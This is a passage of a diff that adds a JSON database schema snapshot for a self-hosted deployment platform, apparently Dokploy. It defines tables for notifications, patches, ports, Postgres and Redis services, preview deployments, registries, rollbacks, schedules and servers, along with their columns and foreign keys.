+ "foreignKeys": {},
+ "compositePrimaryKeys": {},
+ "uniqueConstraints": {},
+ "policies": {},
+ "checkConstraints": {},
+ "isRLSEnabled": false
+ },
+ "public.teams": {
+ "name": "teams",
+ "schema": "",
+ "columns": {
+ "teamsId": {
+ "name": "teamsId",
+ "type": "text",
+ "primaryKey": true,
+ "notNull": true
+ },
+ "webhookUrl": {
+ "name": "webhookUrl",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ }
+ },
+ "indexes": {},
+ "foreignKeys": {},
+ "compositePrimaryKeys": {},
+ "uniqueConstraints": {},
+ "policies": {},
+ "checkConstraints": {},
+ "isRLSEnabled": false
+ },
+ "public.telegram": {
+ "name": "telegram",
+ "schema": "",
+ "columns": {
+ "telegramId": {
+ "name": "telegramId",
+ "type": "text",
+ "primaryKey": true,
+ "notNull": true
+ },
+ "botToken": {
+ "name": "botToken",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "chatId": {
+ "name": "chatId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "messageThreadId": {
+ "name": "messageThreadId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ }
+ },
+ "indexes": {},
+ "foreignKeys": {},
+ "compositePrimaryKeys": {},
+ "uniqueConstraints": {},
+ "policies": {},
+ "checkConstraints": {},
+ "isRLSEnabled": false
+ },
+ "public.patch": {
+ "name": "patch",
+ "schema": "",
+ "columns": {
+ "patchId": {
+ "name": "patchId",
+ "type": "text",
+ "primaryKey": true,
+ "notNull": true
+ },
+ "type": {
+ "name": "type",
+ "type": "patchType",
+ "typeSchema": "public",
+ "primaryKey": false,
+ "notNull": true,
+ "default": "'update'"
+ },
+ "filePath": {
+ "name": "filePath",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "enabled": {
+ "name": "enabled",
+ "type": "boolean",
+ "primaryKey": false,
+ "notNull": true,
+ "default": true
+ },
+ "content": {
+ "name": "content",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "createdAt": {
+ "name": "createdAt",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "updatedAt": {
+ "name": "updatedAt",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "applicationId": {
+ "name": "applicationId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "composeId": {
+ "name": "composeId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ }
+ },
+ "indexes": {},
+ "foreignKeys": {
+ "patch_applicationId_application_applicationId_fk": {
+ "name": "patch_applicationId_application_applicationId_fk",
+ "tableFrom": "patch",
+ "tableTo": "application",
+ "columnsFrom": [
+ "applicationId"
+ ],
+ "columnsTo": [
+ "applicationId"
+ ],
+ "onDelete": "cascade",
+ "onUpdate": "no action"
+ },
+ "patch_composeId_compose_composeId_fk": {
+ "name": "patch_composeId_compose_composeId_fk",
+ "tableFrom": "patch",
+ "tableTo": "compose",
+ "columnsFrom": [
+ "composeId"
+ ],
+ "columnsTo": [
+ "composeId"
+ ],
+ "onDelete": "cascade",
+ "onUpdate": "no action"
+ }
+ },
+ "compositePrimaryKeys": {},
+ "uniqueConstraints": {
+ "patch_filepath_application_unique": {
+ "name": "patch_filepath_application_unique",
+ "nullsNotDistinct": false,
+ "columns": [
+ "filePath",
+ "applicationId"
+ ]
+ },
+ "patch_filepath_compose_unique": {
+ "name": "patch_filepath_compose_unique",
+ "nullsNotDistinct": false,
+ "columns": [
+ "filePath",
+ "composeId"
+ ]
+ }
+ },
+ "policies": {},
+ "checkConstraints": {},
+ "isRLSEnabled": false
+ },
+ "public.port": {
+ "name": "port",
+ "schema": "",
+ "columns": {
+ "portId": {
+ "name": "portId",
+ "type": "text",
+ "primaryKey": true,
+ "notNull": true
+ },
+ "publishedPort": {
+ "name": "publishedPort",
+ "type": "integer",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "publishMode": {
+ "name": "publishMode",
+ "type": "publishModeType",
+ "typeSchema": "public",
+ "primaryKey": false,
+ "notNull": true,
+ "default": "'host'"
+ },
+ "targetPort": {
+ "name": "targetPort",
+ "type": "integer",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "protocol": {
+ "name": "protocol",
+ "type": "protocolType",
+ "typeSchema": "public",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "applicationId": {
+ "name": "applicationId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ }
+ },
+ "indexes": {},
+ "foreignKeys": {
+ "port_applicationId_application_applicationId_fk": {
+ "name": "port_applicationId_application_applicationId_fk",
+ "tableFrom": "port",
+ "tableTo": "application",
+ "columnsFrom": [
+ "applicationId"
+ ],
+ "columnsTo": [
+ "applicationId"
+ ],
+ "onDelete": "cascade",
+ "onUpdate": "no action"
+ }
+ },
+ "compositePrimaryKeys": {},
+ "uniqueConstraints": {},
+ "policies": {},
+ "checkConstraints": {},
+ "isRLSEnabled": false
+ },
+ "public.postgres": {
+ "name": "postgres",
+ "schema": "",
+ "columns": {
+ "postgresId": {
+ "name": "postgresId",
+ "type": "text",
+ "primaryKey": true,
+ "notNull": true
+ },
+ "name": {
+ "name": "name",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "appName": {
+ "name": "appName",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "databaseName": {
+ "name": "databaseName",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "databaseUser": {
+ "name": "databaseUser",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "databasePassword": {
+ "name": "databasePassword",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "description": {
+ "name": "description",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "dockerImage": {
+ "name": "dockerImage",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "command": {
+ "name": "command",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "args": {
+ "name": "args",
+ "type": "text[]",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "env": {
+ "name": "env",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "memoryReservation": {
+ "name": "memoryReservation",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "externalPort": {
+ "name": "externalPort",
+ "type": "integer",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "memoryLimit": {
+ "name": "memoryLimit",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "cpuReservation": {
+ "name": "cpuReservation",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "cpuLimit": {
+ "name": "cpuLimit",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "applicationStatus": {
+ "name": "applicationStatus",
+ "type": "applicationStatus",
+ "typeSchema": "public",
+ "primaryKey": false,
+ "notNull": true,
+ "default": "'idle'"
+ },
+ "healthCheckSwarm": {
+ "name": "healthCheckSwarm",
+ "type": "json",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "restartPolicySwarm": {
+ "name": "restartPolicySwarm",
+ "type": "json",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "placementSwarm": {
+ "name": "placementSwarm",
+ "type": "json",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "updateConfigSwarm": {
+ "name": "updateConfigSwarm",
+ "type": "json",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "rollbackConfigSwarm": {
+ "name": "rollbackConfigSwarm",
+ "type": "json",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "modeSwarm": {
+ "name": "modeSwarm",
+ "type": "json",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "labelsSwarm": {
+ "name": "labelsSwarm",
+ "type": "json",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "networkSwarm": {
+ "name": "networkSwarm",
+ "type": "json",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "stopGracePeriodSwarm": {
+ "name": "stopGracePeriodSwarm",
+ "type": "bigint",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "endpointSpecSwarm": {
+ "name": "endpointSpecSwarm",
+ "type": "json",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "ulimitsSwarm": {
+ "name": "ulimitsSwarm",
+ "type": "json",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "replicas": {
+ "name": "replicas",
+ "type": "integer",
+ "primaryKey": false,
+ "notNull": true,
+ "default": 1
+ },
+ "createdAt": {
+ "name": "createdAt",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "environmentId": {
+ "name": "environmentId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "serverId": {
+ "name": "serverId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "networkIds": {
+ "name": "networkIds",
+ "type": "text[]",
+ "primaryKey": false,
+ "notNull": false,
+ "default": "'{}'"
+ },
+ "detachDokployNetwork": {
+ "name": "detachDokployNetwork",
+ "type": "boolean",
+ "primaryKey": false,
+ "notNull": true,
+ "default": false
+ }
+ },
+ "indexes": {},
+ "foreignKeys": {
+ "postgres_environmentId_environment_environmentId_fk": {
+ "name": "postgres_environmentId_environment_environmentId_fk",
+ "tableFrom": "postgres",
+ "tableTo": "environment",
+ "columnsFrom": [
+ "environmentId"
+ ],
+ "columnsTo": [
+ "environmentId"
+ ],
+ "onDelete": "cascade",
+ "onUpdate": "no action"
+ },
+ "postgres_serverId_server_serverId_fk": {
+ "name": "postgres_serverId_server_serverId_fk",
+ "tableFrom": "postgres",
+ "tableTo": "server",
+ "columnsFrom": [
+ "serverId"
+ ],
+ "columnsTo": [
+ "serverId"
+ ],
+ "onDelete": "cascade",
+ "onUpdate": "no action"
+ }
+ },
+ "compositePrimaryKeys": {},
+ "uniqueConstraints": {
+ "postgres_appName_unique": {
+ "name": "postgres_appName_unique",
+ "nullsNotDistinct": false,
+ "columns": [
+ "appName"
+ ]
+ }
+ },
+ "policies": {},
+ "checkConstraints": {},
+ "isRLSEnabled": false
+ },
+ "public.preview_deployments": {
+ "name": "preview_deployments",
+ "schema": "",
+ "columns": {
+ "previewDeploymentId": {
+ "name": "previewDeploymentId",
+ "type": "text",
+ "primaryKey": true,
+ "notNull": true
+ },
+ "branch": {
+ "name": "branch",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "pullRequestId": {
+ "name": "pullRequestId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "pullRequestNumber": {
+ "name": "pullRequestNumber",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "pullRequestURL": {
+ "name": "pullRequestURL",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "pullRequestTitle": {
+ "name": "pullRequestTitle",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "pullRequestCommentId": {
+ "name": "pullRequestCommentId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "previewStatus": {
+ "name": "previewStatus",
+ "type": "applicationStatus",
+ "typeSchema": "public",
+ "primaryKey": false,
+ "notNull": true,
+ "default": "'idle'"
+ },
+ "appName": {
+ "name": "appName",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "applicationId": {
+ "name": "applicationId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "domainId": {
+ "name": "domainId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "createdAt": {
+ "name": "createdAt",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "expiresAt": {
+ "name": "expiresAt",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ }
+ },
+ "indexes": {},
+ "foreignKeys": {
+ "preview_deployments_applicationId_application_applicationId_fk": {
+ "name": "preview_deployments_applicationId_application_applicationId_fk",
+ "tableFrom": "preview_deployments",
+ "tableTo": "application",
+ "columnsFrom": [
+ "applicationId"
+ ],
+ "columnsTo": [
+ "applicationId"
+ ],
+ "onDelete": "cascade",
+ "onUpdate": "no action"
+ },
+ "preview_deployments_domainId_domain_domainId_fk": {
+ "name": "preview_deployments_domainId_domain_domainId_fk",
+ "tableFrom": "preview_deployments",
+ "tableTo": "domain",
+ "columnsFrom": [
+ "domainId"
+ ],
+ "columnsTo": [
+ "domainId"
+ ],
+ "onDelete": "cascade",
+ "onUpdate": "no action"
+ }
+ },
+ "compositePrimaryKeys": {},
+ "uniqueConstraints": {
+ "preview_deployments_appName_unique": {
+ "name": "preview_deployments_appName_unique",
+ "nullsNotDistinct": false,
+ "columns": [
+ "appName"
+ ]
+ }
+ },
+ "policies": {},
+ "checkConstraints": {},
+ "isRLSEnabled": false
+ },
+ "public.project": {
+ "name": "project",
+ "schema": "",
+ "columns": {
+ "projectId": {
+ "name": "projectId",
+ "type": "text",
+ "primaryKey": true,
+ "notNull": true
+ },
+ "name": {
+ "name": "name",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "description": {
+ "name": "description",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "createdAt": {
+ "name": "createdAt",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "organizationId": {
+ "name": "organizationId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "env": {
+ "name": "env",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true,
+ "default": "''"
+ }
+ },
+ "indexes": {},
+ "foreignKeys": {
+ "project_organizationId_organization_id_fk": {
+ "name": "project_organizationId_organization_id_fk",
+ "tableFrom": "project",
+ "tableTo": "organization",
+ "columnsFrom": [
+ "organizationId"
+ ],
+ "columnsTo": [
+ "id"
+ ],
+ "onDelete": "cascade",
+ "onUpdate": "no action"
+ }
+ },
+ "compositePrimaryKeys": {},
+ "uniqueConstraints": {},
+ "policies": {},
+ "checkConstraints": {},
+ "isRLSEnabled": false
+ },
+ "public.redirect": {
+ "name": "redirect",
+ "schema": "",
+ "columns": {
+ "redirectId": {
+ "name": "redirectId",
+ "type": "text",
+ "primaryKey": true,
+ "notNull": true
+ },
+ "regex": {
+ "name": "regex",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "replacement": {
+ "name": "replacement",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "permanent": {
+ "name": "permanent",
+ "type": "boolean",
+ "primaryKey": false,
+ "notNull": true,
+ "default": false
+ },
+ "uniqueConfigKey": {
+ "name": "uniqueConfigKey",
+ "type": "serial",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "createdAt": {
+ "name": "createdAt",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "applicationId": {
+ "name": "applicationId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ }
+ },
+ "indexes": {},
+ "foreignKeys": {
+ "redirect_applicationId_application_applicationId_fk": {
+ "name": "redirect_applicationId_application_applicationId_fk",
+ "tableFrom": "redirect",
+ "tableTo": "application",
+ "columnsFrom": [
+ "applicationId"
+ ],
+ "columnsTo": [
+ "applicationId"
+ ],
+ "onDelete": "cascade",
+ "onUpdate": "no action"
+ }
+ },
+ "compositePrimaryKeys": {},
+ "uniqueConstraints": {},
+ "policies": {},
+ "checkConstraints": {},
+ "isRLSEnabled": false
+ },
+ "public.redis": {
+ "name": "redis",
+ "schema": "",
+ "columns": {
+ "redisId": {
+ "name": "redisId",
+ "type": "text",
+ "primaryKey": true,
+ "notNull": true
+ },
+ "name": {
+ "name": "name",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "appName": {
+ "name": "appName",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "description": {
+ "name": "description",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "password": {
+ "name": "password",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "dockerImage": {
+ "name": "dockerImage",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "command": {
+ "name": "command",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "args": {
+ "name": "args",
+ "type": "text[]",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "env": {
+ "name": "env",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "memoryReservation": {
+ "name": "memoryReservation",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "memoryLimit": {
+ "name": "memoryLimit",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "cpuReservation": {
+ "name": "cpuReservation",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "cpuLimit": {
+ "name": "cpuLimit",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "externalPort": {
+ "name": "externalPort",
+ "type": "integer",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "createdAt": {
+ "name": "createdAt",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "applicationStatus": {
+ "name": "applicationStatus",
+ "type": "applicationStatus",
+ "typeSchema": "public",
+ "primaryKey": false,
+ "notNull": true,
+ "default": "'idle'"
+ },
+ "healthCheckSwarm": {
+ "name": "healthCheckSwarm",
+ "type": "json",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "restartPolicySwarm": {
+ "name": "restartPolicySwarm",
+ "type": "json",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "placementSwarm": {
+ "name": "placementSwarm",
+ "type": "json",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "updateConfigSwarm": {
+ "name": "updateConfigSwarm",
+ "type": "json",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "rollbackConfigSwarm": {
+ "name": "rollbackConfigSwarm",
+ "type": "json",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "modeSwarm": {
+ "name": "modeSwarm",
+ "type": "json",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "labelsSwarm": {
+ "name": "labelsSwarm",
+ "type": "json",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "networkSwarm": {
+ "name": "networkSwarm",
+ "type": "json",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "stopGracePeriodSwarm": {
+ "name": "stopGracePeriodSwarm",
+ "type": "bigint",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "endpointSpecSwarm": {
+ "name": "endpointSpecSwarm",
+ "type": "json",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "ulimitsSwarm": {
+ "name": "ulimitsSwarm",
+ "type": "json",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "replicas": {
+ "name": "replicas",
+ "type": "integer",
+ "primaryKey": false,
+ "notNull": true,
+ "default": 1
+ },
+ "environmentId": {
+ "name": "environmentId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "serverId": {
+ "name": "serverId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "networkIds": {
+ "name": "networkIds",
+ "type": "text[]",
+ "primaryKey": false,
+ "notNull": false,
+ "default": "'{}'"
+ },
+ "detachDokployNetwork": {
+ "name": "detachDokployNetwork",
+ "type": "boolean",
+ "primaryKey": false,
+ "notNull": true,
+ "default": false
+ }
+ },
+ "indexes": {},
+ "foreignKeys": {
+ "redis_environmentId_environment_environmentId_fk": {
+ "name": "redis_environmentId_environment_environmentId_fk",
+ "tableFrom": "redis",
+ "tableTo": "environment",
+ "columnsFrom": [
+ "environmentId"
+ ],
+ "columnsTo": [
+ "environmentId"
+ ],
+ "onDelete": "cascade",
+ "onUpdate": "no action"
+ },
+ "redis_serverId_server_serverId_fk": {
+ "name": "redis_serverId_server_serverId_fk",
+ "tableFrom": "redis",
+ "tableTo": "server",
+ "columnsFrom": [
+ "serverId"
+ ],
+ "columnsTo": [
+ "serverId"
+ ],
+ "onDelete": "cascade",
+ "onUpdate": "no action"
+ }
+ },
+ "compositePrimaryKeys": {},
+ "uniqueConstraints": {
+ "redis_appName_unique": {
+ "name": "redis_appName_unique",
+ "nullsNotDistinct": false,
+ "columns": [
+ "appName"
+ ]
+ }
+ },
+ "policies": {},
+ "checkConstraints": {},
+ "isRLSEnabled": false
+ },
+ "public.registry": {
+ "name": "registry",
+ "schema": "",
+ "columns": {
+ "registryId": {
+ "name": "registryId",
+ "type": "text",
+ "primaryKey": true,
+ "notNull": true
+ },
+ "registryName": {
+ "name": "registryName",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "imagePrefix": {
+ "name": "imagePrefix",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "username": {
+ "name": "username",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "password": {
+ "name": "password",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "registryUrl": {
+ "name": "registryUrl",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true,
+ "default": "''"
+ },
+ "createdAt": {
+ "name": "createdAt",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "selfHosted": {
+ "name": "selfHosted",
+ "type": "RegistryType",
+ "typeSchema": "public",
+ "primaryKey": false,
+ "notNull": true,
+ "default": "'cloud'"
+ },
+ "organizationId": {
+ "name": "organizationId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ }
+ },
+ "indexes": {},
+ "foreignKeys": {
+ "registry_organizationId_organization_id_fk": {
+ "name": "registry_organizationId_organization_id_fk",
+ "tableFrom": "registry",
+ "tableTo": "organization",
+ "columnsFrom": [
+ "organizationId"
+ ],
+ "columnsTo": [
+ "id"
+ ],
+ "onDelete": "cascade",
+ "onUpdate": "no action"
+ }
+ },
+ "compositePrimaryKeys": {},
+ "uniqueConstraints": {},
+ "policies": {},
+ "checkConstraints": {},
+ "isRLSEnabled": false
+ },
+ "public.rollback": {
+ "name": "rollback",
+ "schema": "",
+ "columns": {
+ "rollbackId": {
+ "name": "rollbackId",
+ "type": "text",
+ "primaryKey": true,
+ "notNull": true
+ },
+ "deploymentId": {
+ "name": "deploymentId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "version": {
+ "name": "version",
+ "type": "serial",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "image": {
+ "name": "image",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "createdAt": {
+ "name": "createdAt",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "fullContext": {
+ "name": "fullContext",
+ "type": "jsonb",
+ "primaryKey": false,
+ "notNull": false
+ }
+ },
+ "indexes": {},
+ "foreignKeys": {
+ "rollback_deploymentId_deployment_deploymentId_fk": {
+ "name": "rollback_deploymentId_deployment_deploymentId_fk",
+ "tableFrom": "rollback",
+ "tableTo": "deployment",
+ "columnsFrom": [
+ "deploymentId"
+ ],
+ "columnsTo": [
+ "deploymentId"
+ ],
+ "onDelete": "cascade",
+ "onUpdate": "no action"
+ }
+ },
+ "compositePrimaryKeys": {},
+ "uniqueConstraints": {},
+ "policies": {},
+ "checkConstraints": {},
+ "isRLSEnabled": false
+ },
+ "public.schedule": {
+ "name": "schedule",
+ "schema": "",
+ "columns": {
+ "scheduleId": {
+ "name": "scheduleId",
+ "type": "text",
+ "primaryKey": true,
+ "notNull": true
+ },
+ "name": {
+ "name": "name",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "description": {
+ "name": "description",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "cronExpression": {
+ "name": "cronExpression",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "appName": {
+ "name": "appName",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "serviceName": {
+ "name": "serviceName",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "shellType": {
+ "name": "shellType",
+ "type": "shellType",
+ "typeSchema": "public",
+ "primaryKey": false,
+ "notNull": true,
+ "default": "'bash'"
+ },
+ "scheduleType": {
+ "name": "scheduleType",
+ "type": "scheduleType",
+ "typeSchema": "public",
+ "primaryKey": false,
+ "notNull": true,
+ "default": "'application'"
+ },
+ "command": {
+ "name": "command",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "script": {
+ "name": "script",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "applicationId": {
+ "name": "applicationId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "composeId": {
+ "name": "composeId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "serverId": {
+ "name": "serverId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "organizationId": {
+ "name": "organizationId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "enabled": {
+ "name": "enabled",
+ "type": "boolean",
+ "primaryKey": false,
+ "notNull": true,
+ "default": true
+ },
+ "timezone": {
+ "name": "timezone",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "createdAt": {
+ "name": "createdAt",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ }
+ },
+ "indexes": {},
+ "foreignKeys": {
+ "schedule_applicationId_application_applicationId_fk": {
+ "name": "schedule_applicationId_application_applicationId_fk",
+ "tableFrom": "schedule",
+ "tableTo": "application",
+ "columnsFrom": [
+ "applicationId"
+ ],
+ "columnsTo": [
+ "applicationId"
+ ],
+ "onDelete": "cascade",
+ "onUpdate": "no action"
+ },
+ "schedule_composeId_compose_composeId_fk": {
+ "name": "schedule_composeId_compose_composeId_fk",
+ "tableFrom": "schedule",
+ "tableTo": "compose",
+ "columnsFrom": [
+ "composeId"
+ ],
+ "columnsTo": [
+ "composeId"
+ ],
+ "onDelete": "cascade",
+ "onUpdate": "no action"
+ },
+ "schedule_serverId_server_serverId_fk": {
+ "name": "schedule_serverId_server_serverId_fk",
+ "tableFrom": "schedule",
+ "tableTo": "server",
+ "columnsFrom": [
+ "serverId"
+ ],
+ "columnsTo": [
+ "serverId"
+ ],
+ "onDelete": "cascade",
+ "onUpdate": "no action"
+ },
+ "schedule_organizationId_organization_id_fk": {
+ "name": "schedule_organizationId_organization_id_fk",
+ "tableFrom": "schedule",
+ "tableTo": "organization",
+ "columnsFrom": [
+ "organizationId"
+ ],
+ "columnsTo": [
+ "id"
+ ],
+ "onDelete": "cascade",
+ "onUpdate": "no action"
+ }
+ },
+ "compositePrimaryKeys": {},
+ "uniqueConstraints": {},
+ "policies": {},
+ "checkConstraints": {},
+ "isRLSEnabled": false
+ },
+ "public.scim_provider": {
+ "name": "scim_provider",
+ "schema": "",
+ "columns": {
+ "id": {
+ "name": "id",
+ "type": "text",
+ "primaryKey": true,
+ "notNull": true
+ },
+ "provider_id": {
+ "name": "provider_id",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "scim_token": {
+ "name": "scim_token",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "organization_id": {
+ "name": "organization_id",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ }
+ },
+ "indexes": {},
+ "foreignKeys": {
+ "scim_provider_organization_id_organization_id_fk": {
+ "name": "scim_provider_organization_id_organization_id_fk",
+ "tableFrom": "scim_provider",
+ "tableTo": "organization",
+ "columnsFrom": [
+ "organization_id"
+ ],
+ "columnsTo": [
+ "id"
+ ],
+ "onDelete": "cascade",
+ "onUpdate": "no action"
+ }
+ },
+ "compositePrimaryKeys": {},
+ "uniqueConstraints": {
+ "scim_provider_provider_id_unique": {
+ "name": "scim_provider_provider_id_unique",
+ "nullsNotDistinct": false,
+ "columns": [
+ "provider_id"
+ ]
+ },
+ "scim_provider_scim_token_unique": {
+ "name": "scim_provider_scim_token_unique",
+ "nullsNotDistinct": false,
+ "columns": [
+ "scim_token"
+ ]
+ }
+ },
+ "policies": {},
+ "checkConstraints": {},
+ "isRLSEnabled": false
+ },
+ "public.security": {
+ "name": "security",
+ "schema": "",
+ "columns": {
+ "securityId": {
+ "name": "securityId",
+ "type": "text",
+ "primaryKey": true,
+ "notNull": true
+ },
+ "username": {
+ "name": "username",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "password": {
+ "name": "password",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "createdAt": {
+ "name": "createdAt",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "applicationId": {
+ "name": "applicationId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ }
+ },
+ "indexes": {},
+ "foreignKeys": {
+ "security_applicationId_application_applicationId_fk": {
+ "name": "security_applicationId_application_applicationId_fk",
+ "tableFrom": "security",
+ "tableTo": "application",
+ "columnsFrom": [
+ "applicationId"
+ ],
+ "columnsTo": [
+ "applicationId"
+ ],
+ "onDelete": "cascade",
+ "onUpdate": "no action"
+ }
+ },
+ "compositePrimaryKeys": {},
+ "uniqueConstraints": {
+ "security_username_applicationId_unique": {
+ "name": "security_username_applicationId_unique",
+ "nullsNotDistinct": false,
+ "columns": [
+ "username",
+ "applicationId"
+ ]
+ }
+ },
+ "policies": {},
+ "checkConstraints": {},
+ "isRLSEnabled": false
+ },
+ "public.server": {
+ "name": "server",
+ "schema": "",
+ "columns": {
+ "serverId": {
+ "name": "serverId",
+ "type": "text",
+ "primaryKey": true,
+ "notNull": true
+ },
+ "name": {
+ "name": "name",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "description": {
+ "name": "description",
+ "type": "text",
